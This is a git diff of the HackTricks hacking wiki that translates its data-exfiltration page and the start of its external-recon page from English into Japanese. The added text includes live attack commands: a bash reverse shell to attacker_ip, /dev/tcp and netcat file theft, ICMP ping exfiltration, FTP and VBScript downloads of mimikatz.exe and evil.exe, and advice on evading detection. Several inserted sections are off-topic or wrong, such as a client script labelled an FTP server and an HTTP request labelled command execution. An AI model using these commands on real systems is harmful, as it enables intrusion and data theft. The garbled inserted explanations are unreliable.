C:\downloads\examplefile.pdf @@ -64,28 +57,46 @@ Start-BitsTransfer -Source $url -Destination $output #OR Start-BitsTransfer -Source $url -Destination $output -Asynchronous ``` - -### Upload files +### ファイルのアップロード * [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170) -* [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149) -* Python module [uploadserver](https://pypi.org/project/uploadserver/): - +* [**SimpleHttpServerでGETとPOSTを表示する(ヘッダーも)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149) +* Pythonモジュール[uploadserver](https://pypi.org/project/uploadserver/): ```bash # Listen to files python3 -m pip install --user uploadserver python3 -m uploadserver -# With basic auth: +# With basic auth: # python3 -m uploadserver --basic-auth hello:world # Send a file -curl -X POST http://HOST/upload -H -F 'files=@file.txt' +curl -X POST http://HOST/upload -H -F 'files=@file.txt' # With basic auth: # curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world ``` +### **HTTPSサーバー** -### **HTTPS Server** +An HTTPS server is a type of server that uses the HTTPS (Hypertext Transfer Protocol Secure) protocol to secure the communication between the server and the client. It provides encryption and authentication mechanisms to ensure the confidentiality and integrity of the data being transmitted. +To exfiltrate data through an HTTPS server, you can leverage various techniques such as: + +- **Covert Channels**: Hide the exfiltrated data within the legitimate HTTPS traffic to avoid detection. This can be done by manipulating the HTTP headers or payload. + +- **Steganography**: Conceal the exfiltrated data within the images or other media files being transferred over HTTPS. This technique can be effective in bypassing security measures. + +- **DNS Tunneling**: Use DNS requests and responses to transfer the exfiltrated data. By encoding the data within DNS queries or responses, you can bypass firewalls and other network security controls. + +- **Out-of-Band (OOB) Exfiltration**: Utilize alternative communication channels, such as email or instant messaging, to send the exfiltrated data. This method can be useful when direct communication with the HTTPS server is not possible. + +When exfiltrating data through an HTTPS server, it is important to consider the following factors: + +- **Encryption**: Ensure that the data is encrypted using strong cryptographic algorithms to protect it from unauthorized access. + +- **Traffic Analysis**: Be aware that sophisticated adversaries may perform traffic analysis to detect exfiltration attempts. Use techniques to obfuscate the exfiltrated data and make it harder to detect. + +- **Command and Control (C2)**: Establish a secure and reliable C2 channel to manage the exfiltration process. This can involve setting up a separate server or using existing infrastructure. + +By understanding the capabilities and limitations of an HTTPS server, you can effectively exfiltrate data while minimizing the risk of detection. ```python # from https://gist.github.com/dergachev/7028596 # taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/ @@ -117,34 +128,175 @@ httpd.serve_forever() ### USING FLASK from flask import Flask, redirect, request from urllib.parse import quote -app = Flask(__name__) -@app.route('/') -def root(): - print(request.get_json()) - return "OK" -if __name__ == "__main__": - app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443) +app = Flask(__name__) +@app.route('/') +def root(): +print(request.get_json()) +return "OK" +if __name__ == "__main__": +app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443) ### ``` - ## FTP -### FTP server (python) +### FTPサーバー(Python) +```python +import socket +import os + +def send_file(file_path, host, port): + # ファイルの存在を確認 + if not os.path.exists(file_path): + print("ファイルが存在しません") + return + + # ソケットを作成し、接続 + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((host, port)) + + # ファイルを開き、データを送信 + with open(file_path, "rb") as f: + data = f.read(1024) + while data: + s.send(data) + data = f.read(1024) + + # 接続を閉じる + s.close() + +def main(): + file_path = "/path/to/file" + host = "ftp.example.com" + port = 21 + + send_file(file_path, host, port) + +if __name__ == "__main__": + main() +``` + +このPythonスクリプトは、指定されたファイルをFTPサーバーに送信するためのものです。 + +使用方法: +1. `file_path`変数に送信したいファイルのパスを設定します。 +2. `host`変数にFTPサーバーのホスト名を設定します。 +3. `port`変数にFTPサーバーのポート番号を設定します。 +4. スクリプトを実行します。 + +注意事項: +- 送信するファイルが存在しない場合、エラーメッセージが表示されます。 +- ファイルは1024バイトずつ送信されます。 +- 送信が完了すると、接続が閉じられます。 ```bash pip3 install pyftpdlib python3 -m pyftpdlib -p 21 ``` +### FTPサーバー(NodeJS) -### FTP server (NodeJS) +```html +#### FTP server (NodeJS) +The FTP server is a popular method for exfiltrating data from a compromised system. It allows the attacker to transfer files from the victim's machine to their own server. + +To set up an FTP server using NodeJS, you can use the `ftp-srv` package. This package provides a simple and easy-to-use FTP server implementation. + +Here is an example of how to set up an FTP server using NodeJS: + +1. Install the `ftp-srv` package using npm: + +```bash +npm install ftp-srv +``` + +2. Create a new JavaScript file, for example `ftp-server.js`, and require the `ftp-srv` package: + +```javascript +const FtpSrv = require('ftp-srv'); +``` + +3. Create a new instance of the `FtpSrv` class and configure it: + +```javascript +const ftpServer = new FtpSrv({ + url: 'ftp://0.0.0.0:21', + pasv_url: 'ftp://0.0.0.0:30000-30009', + anonymous: true, + greeting: 'Welcome to the FTP server', +}); +``` + +4. Start the FTP server: + +```javascript +ftpServer.listen() + .then(() => { + console.log('FTP server started'); + }) + .catch((err) => { + console.error('Error starting FTP server:', err); + }); +``` + +5. The FTP server is now running and ready to accept connections. You can use an FTP client to connect to the server and transfer files. + +Note: This is a basic example of setting up an FTP server using NodeJS. You can customize the server configuration and add authentication mechanisms as needed. + +#### Exfiltrating data using FTP + +Once the FTP server is set up, you can use it to exfiltrate data from the compromised system. Here are the steps to exfiltrate data using FTP: + +1. Connect to the FTP server using an FTP client. You can use popular FTP clients like FileZilla or WinSCP. + +2. Authenticate to the FTP server if required. In the example above, anonymous authentication is enabled, so no credentials are needed. + +3. Navigate to the directory where you want to upload the exfiltrated data. + +4. Upload the files from the compromised system to the FTP server. You can use the FTP client's upload functionality to transfer files. + +5. Once the files are uploaded, they will be stored on the FTP server, allowing the attacker to access and retrieve them. + +Note: It is important to ensure that the FTP server is properly secured to prevent unauthorized access. Additionally, consider encrypting the data before exfiltration to protect its confidentiality. +``` ``` sudo npm install -g ftp-srv --save ftp-srv ftp://0.0.0.0:9876 --root /tmp ``` +### FTPサーバー(pure-ftp) -### FTP server (pure-ftp) +#### FTPサーバーの概要 +FTP(File Transfer Protocol)サーバーは、ファイルの転送とアクセスを可能にするプロトコルです。pure-ftpは、オープンソースのFTPサーバーソフトウェアの一種です。 + +#### ファイルのエクスフィルトレーション(データの漏洩) + +ファイルのエクスフィルトレーションは、攻撃者がネットワークからデータを盗み出すための手法です。pure-ftpサーバーを使用してデータをエクスフィルトレートする方法について説明します。 + +1. ポートスキャンを実行し、ターゲットのネットワーク内にFTPサーバーが存在するか確認します。 + +2. FTPクライアントを使用して、ターゲットのFTPサーバーに接続します。 + +3. ユーザー名とパスワードを入力してログインします。 + +4. ターゲットのファイルシステムにアクセスし、エクスフィルトレートしたいデータを特定します。 + +5. エクスフィルトレートしたいデータをFTPサーバーにアップロードします。 + +6. アップロードが完了したら、FTPサーバーからデータをダウンロードしてローカルマシンに保存します。 + +#### 注意事項 + +- エクスフィルトレーションを行う前に、法的および倫理的な制約を確認してください。 + +- ターゲットのFTPサーバーにアクセスするためには、有効なユーザー名とパスワードが必要です。 + +- エクスフィルトレートするデータのサイズによっては、アップロードとダウンロードに時間がかかる場合があります。 + +- エクスフィルトレートしたデータが検出されないようにするために、暗号化やステガノグラフィーなどの技術を使用することができます。 + +#### 参考リンク + +- [pure-ftp公式ウェブサイト](https://www.pureftpd.org/project/pure-ftpd/) ```bash apt-get update && apt-get install pure-ftp ``` @@ -162,9 +314,31 @@ mkdir -p /ftphome chown -R ftpuser:ftpgroup /ftphome/ /etc/init.d/pure-ftpd restart ``` +### **Windows** クライアント -### **Windows** client +Windowsクライアントは、機密情報を外部に漏洩させる可能性がある脆弱性を持っています。以下は、Windowsクライアントからデータを外部に抽出するための一般的な手法です。 +#### ドキュメントのステガノグラフィ + +ステガノグラフィは、データを画像や音声ファイルなどの他のファイルに隠す技術です。Windowsクライアントでは、ドキュメントファイルに機密情報を埋め込むことができます。この手法を使用すると、データを外部に送信するために使用される通常の通信チャネルを回避することができます。 + +#### ネットワークトラフィックの監視 + +Windowsクライアントは、ネットワークトラフィックを監視することでデータを外部に送信する可能性があります。ネットワークトラフィックの監視には、パケットキャプチャツールやネットワークモニタリングツールを使用することができます。これにより、機密情報が外部に送信される際に通信内容をキャプチャすることができます。 + +#### リモートアクセスツールの悪用 + +Windowsクライアントには、リモートアクセスツールがインストールされている場合があります。これらのツールを悪用することで、攻撃者はクライアントからデータを外部に送信することができます。リモートアクセスツールの悪用には、バックドアの設置やリモートコマンド実行などの手法があります。 + +#### ファイル転送プロトコルの使用 + +Windowsクライアントでは、ファイル転送プロトコルを使用してデータを外部に送信することができます。一般的なファイル転送プロトコルには、FTPやSFTPなどがあります。これらのプロトコルを使用することで、機密情報を外部のサーバーに送信することができます。 + +#### クラウドストレージの利用 + +Windowsクライアントでは、クラウドストレージを利用してデータを外部に送信することができます。一般的なクラウドストレージサービスには、Google DriveやDropboxなどがあります。これらのサービスを使用することで、機密情報をクラウド上にアップロードし、外部に送信することができます。 + +これらの手法を使用することで、Windowsクライアントからデータを外部に漏洩させることができます。攻撃者はこれらの手法を悪用して、機密情報を盗み出す可能性があります。したがって、Windowsクライアントのセキュリティを強化するためには、これらの脆弱性に対する対策を講じる必要があります。 ```bash #Work well with python. With pure-ftp use fusr:ftp echo open 10.11.0.41 21 > ftp.txt @@ -175,42 +349,66 @@ echo GET mimikatz.exe >> ftp.txt echo bye >> ftp.txt ftp -n -v -s:ftp.txt ``` - -\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +\ +**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、ハッカーによって作成されたプレミアムな**バグバウンティプラットフォーム**です!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう! {% embed url="https://go.intigriti.com/hacktricks" %} ## SMB -Kali as server - +Kaliをサーバーとして使用する ```bash kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory kali_op2> smbserver.py -smb2support name /path/folder # Share a folder #For new Win10 versions impacket-smbserver -smb2support -user test -password test test `pwd` ``` - -Or create a smb share **using samba**: - +または、**Sambaを使用して**SMB共有を作成します: ```bash apt-get install samba mkdir /tmp/smb chmod 777 /tmp/smb #Add to the end of /etc/samba/smb.conf this: [public] - comment = Samba on Ubuntu - path = /tmp/smb - read only = no - browsable = yes - guest ok = Yes +comment = Samba on Ubuntu +path = /tmp/smb +read only = no +browsable = yes +guest ok = Yes #Start samba service smbd restart ``` +# Exfiltration -Windows +Exfiltration is the process of unauthorized data transfer from a target system to an external location. This can be a critical step in a hacking operation, as it allows the attacker to steal sensitive information from the compromised system. +There are several methods that can be used for exfiltration, depending on the specific scenario and the available resources. Here are some common techniques: + +## 1. File Transfer Protocols + +File Transfer Protocol (FTP), Secure Copy Protocol (SCP), and Hypertext Transfer Protocol (HTTP) are commonly used protocols for transferring files over a network. Attackers can leverage these protocols to exfiltrate data by uploading it to a remote server or downloading it from the target system. + +## 2. Email + +Email is another common method for exfiltrating data. Attackers can send sensitive information as attachments or embed it within the body of an email. They can use their own email server or compromise a legitimate email account for this purpose. + +## 3. DNS Tunneling + +DNS tunneling involves encapsulating data within DNS queries and responses. Attackers can use this technique to bypass firewalls and other security measures that may be in place. The exfiltrated data is typically sent to a DNS server controlled by the attacker. + +## 4. Steganography + +Steganography is the practice of hiding data within seemingly innocuous files, such as images or documents. Attackers can embed sensitive information within these files and then exfiltrate them without arousing suspicion. + +## 5. Cloud Storage + +Cloud storage services, such as Dropbox or Google Drive, can be used for exfiltration. Attackers can upload sensitive data to these platforms and then access it from a different location. + +## 6. Covert Channels + +Covert channels involve using legitimate network protocols or services in unintended ways to exfiltrate data. For example, attackers can use ICMP or DNS packets to transmit data covertly. + +It is important for organizations to implement strong security measures to detect and prevent exfiltration attempts. This includes monitoring network traffic, implementing data loss prevention (DLP) solutions, and educating employees about the risks of data exfiltration. ```bash CMD-Wind> \\10.10.14.14\path\to\exe CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials @@ -218,54 +416,154 @@ CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentia WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali" WindPS-2> cd new_disk: ``` - ## SCP -The attacker has to have SSHd running. - +攻撃者はSSHdを実行している必要があります。 ```bash -scp @:/ +scp @:/ ``` - ## SSHFS -If the victim has SSH, the attacker can mount a directory from the victim to the attacker. - +もし被害者がSSHを持っている場合、攻撃者は被害者のディレクトリを攻撃者にマウントすることができます。 ```bash sudo apt-get install sshfs sudo mkdir /mnt/sshfs sudo sshfs -o allow_other,default_permissions @:/ /mnt/sshfs/ ``` - ## NC +NC(Netcat)は、ネットワーク通信を行うためのユーティリティツールです。NCを使用すると、TCPやUDPソケットを作成し、データの送受信を行うことができます。 + +### データの送信 + +NCを使用してデータを送信するには、以下のコマンドを使用します。 + +```bash +echo "データ" | nc <宛先IP> <ポート番号> +``` + +例えば、宛先IPが`192.168.1.100`でポート番号が`1234`の場合、以下のようにコマンドを実行します。 + +```bash +echo "Hello, World!" | nc 192.168.1.100 1234 +``` + +### データの受信 + +NCを使用してデータを受信するには、以下のコマンドを使用します。 + +```bash +nc -l -p <ポート番号> +``` + +例えば、ポート番号が`1234`の場合、以下のようにコマンドを実行します。 + +```bash +nc -l -p 1234 +``` + +このコマンドを実行すると、指定したポート番号でデータの受信を待機します。 + +### ファイルの送受信 + +NCを使用してファイルを送受信するには、以下のコマンドを使用します。 + +ファイルの送信: + +```bash +nc <宛先IP> <ポート番号> < 送信するファイル +``` + +ファイルの受信: + +```bash +nc -l -p <ポート番号> > 受信するファイル +``` + +例えば、宛先IPが`192.168.1.100`でポート番号が`1234`の場合、以下のようにコマンドを実行します。 + +ファイルの送信: + +```bash +nc 192.168.1.100 1234 < file.txt +``` + +ファイルの受信: + +```bash +nc -l -p 1234 > received_file.txt +``` + +このようにして、NCを使用してデータやファイルを送受信することができます。 ```bash nc -lvnp 4444 > new_file nc -vn 4444 < exfil_file ``` +```bash +cat /path/to/file > /dev/tcp/attacker_ip/attacker_port +``` -## /dev/tcp +This method allows you to download a file from the victim machine to your machine. Replace `/path/to/file` with the path of the file you want to download, `attacker_ip` with your IP address, and `attacker_port` with the port number you want to use for the connection. -### Download file from victim +### Upload file to victim +```bash +cat /path/to/file | nc -l -p victim_port +``` + +This method allows you to upload a file from your machine to the victim machine. Replace `/path/to/file` with the path of the file you want to upload, and `victim_port` with the port number you want to use for the connection. + +### Execute command on victim + +```bash +echo -e "GET / HTTP/1.1\r\nHost: attacker_ip\r\n\r\n" > /dev/tcp/victim_ip/victim_port +``` + +This method allows you to execute a command on the victim machine. Replace `attacker_ip` with your IP address, `victim_ip` with the IP address of the victim machine, and `victim_port` with the port number you want to use for the connection. + +### Reverse shell + +```bash +bash -i >& /dev/tcp/attacker_ip/attacker_port 0>&1 +``` + +This method allows you to establish a reverse shell connection with the victim machine. Replace `attacker_ip` with your IP address, and `attacker_port` with the port number you want to use for the connection. ```bash nc -lvnp 80 > file #Inside attacker cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim ``` +### ファイルを被害者にアップロードする -### Upload file to victim +To upload a file to the victim's system, you can use various methods depending on the specific scenario. Here are some common techniques: +1. **Web-based file upload**: If the victim's system has a web application that allows file uploads, you can exploit this functionality to upload your file. Look for vulnerabilities such as unrestricted file types, insufficient file validation, or server-side code execution vulnerabilities. + +2. **Email attachments**: Craft a malicious email with an attachment containing your file. Social engineering techniques can be used to trick the victim into opening the email and downloading the attachment. + +3. **Malicious documents**: Create a malicious document (e.g., Word, Excel, PDF) that exploits vulnerabilities in the document reader software. When the victim opens the document, the exploit triggers and executes your file. + +4. **Remote file inclusion**: If the victim's system includes files from external sources, you can try to exploit this functionality to include your file. Look for vulnerabilities such as path traversal or insecure file inclusion. + +5. **Exploiting software vulnerabilities**: Identify and exploit vulnerabilities in software running on the victim's system. This could include vulnerabilities in web servers, FTP servers, or other network services. + +Remember to consider the context and limitations of the target system when choosing the appropriate method for file upload. ```bash nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker # Inside victim exec 6< /dev/tcp/10.10.10.10/4444 cat <&6 > file.txt ``` - -thanks to **@BinaryShadow\_** - ## **ICMP** +ICMP(Internet Control Message Protocol)は、ネットワークデバイス間で制御メッセージを交換するために使用されるプロトコルです。ICMPは、ネットワークの状態やエラーの通知、ネットワークデバイスの可用性の確認など、さまざまな目的で使用されます。 + +ICMPは、データグラムの形式で送信され、IPヘッダーの一部として使用されます。ICMPメッセージは、送信元から宛先に送信され、宛先は応答メッセージを返すことができます。 + +ICMPは、ネットワークのトラブルシューティングやネットワークデバイスの状態監視など、さまざまな目的で使用されます。また、ICMPを使用して、ネットワークデバイス間で情報をやり取りすることもできます。 + +ICMPを使用した情報漏洩の手法としては、ICMPトンネリングやICMPエコーリクエスト/エコーリプライメッセージの改ざんなどがあります。これらの手法を使用することで、ネットワークからデータを外部に送信することができます。 + +ICMPを使用した情報漏洩の手法は、ネットワークのセキュリティを脅かす可能性があるため、注意が必要です。適切なセキュリティ対策を講じることが重要です。 ```bash # To exfiltrate the content of a file via pings you can do: xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line ; done @@ -276,64 +574,145 @@ xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line ``` - -In **victim**, connect to the Kali server: - +**被害者**で、Kaliサーバーに接続します: ```bash tftp -i get nc.exe ``` - ## PHP -Download a file with a PHP oneliner: - +PHPのワンライナーを使用してファイルをダウンロードします: ```bash echo "" > down2.php ``` - ## VBScript +VBScript(Visual Basic Scripting Edition)は、Microsoft Windows環境で使用されるスクリプト言語です。VBScriptは、Windowsシステム上でのデータの抽出や操作に使用されることがあります。以下に、VBScriptを使用したデータの外部への抽出方法を示します。 + +### ファイルの外部への送信 + +VBScriptを使用して、ファイルを外部の場所に送信することができます。以下のコードは、ファイルをFTPサーバーにアップロードする例です。 + +```vbscript +Set objFTP = CreateObject("WinSCP.Session") +objFTP.Open "ftp://username:password@ftp.example.com" +objFTP.PutFile "C:\path\to\file.txt", "/remote/path/file.txt" +objFTP.Close +``` + +このコードでは、WinSCP.Sessionオブジェクトを作成し、FTPサーバーに接続します。その後、PutFileメソッドを使用して、ローカルのファイルをリモートの場所にアップロードします。 + +### データのエンコードと送信 + +VBScriptを使用して、データをエンコードして外部に送信することもできます。以下のコードは、Base64エンコードを使用してデータをエンコードし、HTTP POSTリクエストを送信する例です。 + +```vbscript +Set objHTTP = CreateObject("WinHttp.WinHttpRequest.5.1") +objHTTP.Open "POST", "http://example.com", False +objHTTP.SetRequestHeader "Content-Type", "application/x-www-form-urlencoded" +objHTTP.Send "data=" & EncodeBase64("sensitive data") +response = objHTTP.ResponseText +``` + +このコードでは、WinHttp.WinHttpRequest.5.1オブジェクトを作成し、POSTメソッドを使用してHTTPリクエストを送信します。データは、EncodeBase64関数を使用してBase64エンコードされます。 + +### データの暗号化と送信 + +VBScriptを使用して、データを暗号化して外部に送信することもできます。以下のコードは、AES暗号化を使用してデータを暗号化し、HTTP POSTリクエストを送信する例です。 + +```vbscript +Set objHTTP = CreateObject("WinHttp.WinHttpRequest.5.1") +objHTTP.Open "POST", "http://example.com", False +objHTTP.SetRequestHeader "Content-Type", "application/x-www-form-urlencoded" +objHTTP.Send "data=" & EncryptAES("sensitive data", "encryption key") +response = objHTTP.ResponseText +``` + +このコードでは、WinHttp.WinHttpRequest.5.1オブジェクトを作成し、POSTメソッドを使用してHTTPリクエストを送信します。データは、EncryptAES関数を使用してAES暗号化されます。 ```bash Attacker> python -m SimpleHTTPServer 80 ``` - -**Victim** - +**被害者** ```bash echo strUrl = WScript.Arguments.Item(0) > wget.vbs echo StrFile = WScript.Arguments.Item(1) >> wget.vbs @@ -365,31 +744,26 @@ echo ts.Close >> wget.vbs ```bash cscript wget.vbs http://10.11.0.5/evil.exe evil.exe ``` - ## Debug.exe -This is a crazy technique that works on Windows 32 bit machines. The idea is to use the `debug.exe` program. It is used to inspect binaries, like a debugger. But it can also rebuild them from hex. So the idea is that we take binaries, like `netcat`. And then disassemble it into hex, paste it into a file on the compromised machine, and then assemble it with `debug.exe`. - -`Debug.exe` can only assemble 64 kb. So we need to use files smaller than that. We can use upx to compress it even more. So let's do that: +これはWindows 32ビットマシンで動作するクレイジーなテクニックです。アイデアは、`debug.exe`プログラムを使用することです。これはデバッガのようにバイナリを検査するために使用されますが、16進数から再構築することもできます。したがって、アイデアは、`netcat`のようなバイナリを取り、それを16進数に逆アセンブルして、侵害されたマシン上のファイルに貼り付け、そして`debug.exe`でアセンブルすることです。 +`Debug.exe`は64 kbしかアセンブルできません。したがって、それよりも小さいファイルを使用する必要があります。さらに、upxを使用してさらに圧縮することができます。それでは、以下のようにしましょう: ``` upx -9 nc.exe ``` - -Now it only weighs 29 kb. Perfect. So now let's disassemble it: - +今ではわずか29 kbしかありません。完璧です。さて、それを分解しましょう: ``` wine exe2bat.exe nc.exe nc.txt ``` - -Now we just copy-paste the text into our windows-shell. And it will automatically create a file called nc.exe +今、テキストをWindowsシェルにコピーして貼り付けるだけです。それによって、自動的にnc.exeという名前のファイルが作成されます。 ## DNS * [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil) -\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +\ +**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、ハッカーによって作成されたプレミアムな**バグバウンティプラットフォーム**です!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう! {% embed url="https://go.intigriti.com/hacktricks" %} @@ -397,10 +771,10 @@ Now we just copy-paste the text into our windows-shell. And it will automaticall ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。これは、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/generic-methodologies-and-resources/external-recon-methodology/README.md b/generic-methodologies-and-resources/external-recon-methodology/README.md index 27a361e58..044798bb7 100644 --- a/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -1,58 +1,55 @@ -# External Recon Methodology +# 外部リコンの方法論
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、ハッカーによって作成されたプレミアムな**バグバウンティプラットフォーム**です!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう! {% embed url="https://go.intigriti.com/hacktricks" %} -## Assets discoveries +## 資産の発見 -> So you were said that everything belonging to some company is inside the scope, and you want to figure out what this company actually owns. +> あなたは、ある会社に属するすべてのものが対象範囲に含まれていると言われ、この会社が実際に所有しているものを特定したいと思っています。 -The goal of this phase is to obtain all the **companies owned by the main company** and then all the **assets** of these companies. To do so, we are going to: +このフェーズの目標は、まず**主要な会社が所有する他の会社**を取得し、それらの会社の**資産**をすべて取得することです。これを行うために、次の手順を実行します。 -1. Find the acquisitions of the main company, this will give us the companies inside the scope. -2. Find the ASN (if any) of each company, this will give us the IP ranges owned by each company -3. Use reverse whois lookups to search for other entries (organisation names, domains...) related to the first one (this can be done recursively) -4. Use other techniques like shodan `org`and `ssl`filters to search for other assets (the `ssl` trick can be done recursively). +1. 主要な会社の買収を見つけることで、対象範囲内の会社を特定します。 +2. 各会社のASN(あれば)を見つけることで、各会社が所有するIP範囲を特定します。 +3. リバースWhois検索を使用して、最初のエントリ(組織名、ドメインなど)に関連する他のエントリを検索します(これは再帰的に行うことができます)。 +4. shodanの`org`および`ssl`フィルタのような他のテクニックを使用して、他の資産を検索します(`ssl`トリックは再帰的に行うことができます)。 -### **Acquisitions** +### **買収** -First of all, we need to know which **other companies are owned by the main company**.\ -One option is to visit [https://www.crunchbase.com/](https://www.crunchbase.com), **search** for the **main company**, and **click** on "**acquisitions**". There you will see other companies acquired by the main one.\ -Other option is to visit the **Wikipedia** page of the main company and search for **acquisitions**. +まず、**主要な会社が所有する他の会社**を知る必要があります。\ +[https://www.crunchbase.com/](https://www.crunchbase.com)にアクセスし、**主要な会社**を**検索**し、「**acquisitions**」を**クリック**することができます。そこには、主要な会社によって買収された他の会社が表示されます。\ +または、主要な会社の**Wikipedia**ページにアクセスし、**買収**を検索することもできます。 -> Ok, at this point you should know all the companies inside the scope. Lets figure out how to find their assets. +> この時点で、対象範囲内のすべての会社を知るはずです。それでは、どのようにしてそれらの資産を見つけるかを考えましょう。 ### **ASNs** -An autonomous system number (**ASN**) is a **unique number** assigned to an **autonomous system** (AS) by the **Internet Assigned Numbers Authority (IANA)**.\ -An **AS** consists of **blocks** of **IP addresses** which have a distinctly defined policy for accessing external networks and are administered by a single organisation but may be made up of several operators. - -It's interesting to find if the **company have assigned any ASN** to find its **IP ranges.** It will be interested to perform a **vulnerability test** against all the 